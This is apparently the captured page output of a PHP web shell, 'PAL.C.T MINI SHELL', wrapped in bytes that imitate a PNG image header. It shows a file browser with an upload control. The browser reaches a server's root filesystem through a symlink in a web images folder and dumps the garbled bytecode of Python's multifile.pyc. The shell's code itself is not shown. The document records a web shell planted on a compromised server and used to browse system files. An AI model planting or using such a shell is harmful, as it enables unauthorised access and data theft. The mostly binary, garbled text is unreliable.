php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/lib/python2.6/
upload
files >> /var/www/html/sub/images/sym/root/usr/lib/python2.6/multifile.pyc

Lc@sedZddklZededd[ddgZdefdYZddd	YZd
S(sA readline()-style interface to the parts of a multipart message.

The MultiFile class makes each part of a multipart message "feel" like
an ordinary file, as long as you use fp.readline().  Allows recursive
use, for nested multipart messages.  Probably best used together
with module mimetools.

Suggested use:

real_fp = open(...)
fp = MultiFile(real_fp)

"read some lines from fp"
fp.push(separator)
while 1:
        "read lines from fp until it returns an empty string" (A)
        if not fp.next(): break
fp.pop()
"read remaining lines from fp until it returns an empty string"

The latter sequence may be used recursively at (A).
It is also allowed to use multiple push()...pop() sequences.

If seekable is given as 0, the class code will not do the bookkeeping
it normally attempts in order to make seeks relative to the beginning of the
current file part.  This may be useful when using MultiFile with a non-
seekable stream object.
i(twarns9the multifile module has been deprecated since Python 2.5t
stacklevelit	MultiFiletErrorcBseZRS((t__name__t
__module__(((s/usr/lib/python2.6/multifile.pyR$scBseZdZddZdZddZdZdZdZdZ	d	Z
d
ZdZdZ
d
ZRS(iicCsW||_g|_d|_d|_|o(d|_|ii|_g|_ndS(Nii(tfptstacktleveltlasttseekablettelltstarttposstack(tselfRR
((s/usr/lib/python2.6/multifile.pyt__init__+s					cCs,|idjo|iS|ii|iS(Ni(RtlastposRRR(R((s/usr/lib/python2.6/multifile.pyR5scCs|i}|oZ|djo||}qm|djo.|idjo||i}qitdqmnd|jo
|jnp |idjo||ijo
tdn|ii||id|_d|_dS(Niiiscan't use whence=2 yetsbad MultiFile.seek() call(RRRRRtseekRR	(Rtpostwhencethere((s/usr/lib/python2.6/multifile.pyR:s

 
	cCsj|idjodS|ii}|p@t|i|_|idj|_|io
tdndS|idjpt|i|o|S|i	}xot
t|iD]T\}}||i|jod|_Pq||i
|jod|_PqqW|S|io|it||_n|d|_|idjo
tdndS(Nits"sudden EOF in MultiFile.readline()is)Missing endmarker in MultiFile.readline()(RRtreadlinetlenRR	RtAssertionErrortis_datatrstript	enumeratetreversedtsection_dividert
end_markerR
RR(Rtlinetmarkertitsep((s/usr/lib/python2.6/multifile.pyRKs8

			


cCs5g}x(|i}|pPn|i|q	|S(N(Rtappend(RtlistR((s/usr/lib/python2.6/multifile.pyt	readlinespscCsdi|iS(NR(tjoinR%(R((s/usr/lib/python2.6/multifile.pytreadxscCsjx|ioqW|idjp
|iodSd|_d|_|io|ii|_ndS(Nii(RRR	R
RRR(R((s/usr/lib/python2.6/multifile.pytnext{s
		
cCsd|idjo
tdn|ii||io)|ii|i|ii|_ndS(Nisbad MultiFile.push() call(	RRRR#R
R
RRR(RR"((s/usr/lib/python2.6/multifile.pytpushs

cCs|igjo
tdn|idjo
d|_n|i|i}td|id|_|ii|io:|i	i|_|idjo||i|_qndS(Nsbad MultiFile.pop() callii(
RRRR	RRtmaxtpopR
R
(Rt
abslastpos((s/usr/lib/python2.6/multifile.pyR+s



cCs|d djS(Nis--((RR((s/usr/lib/python2.6/multifile.pyRscCsd|S(Ns--((Rtstr((s/usr/lib/python2.6/multifile.pyRscCsd|dS(Ns--((RR-((s/usr/lib/python2.6/multifile.pyRs(RRR
RRRRR%R'R(R)R+RRR(((s/usr/lib/python2.6/multifile.pyR's
		%			
				N((t__doc__twarningsRtDeprecationWarningt__all__t	ExceptionRR(((s/usr/lib/python2.6/multifile.pyt<module>s

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`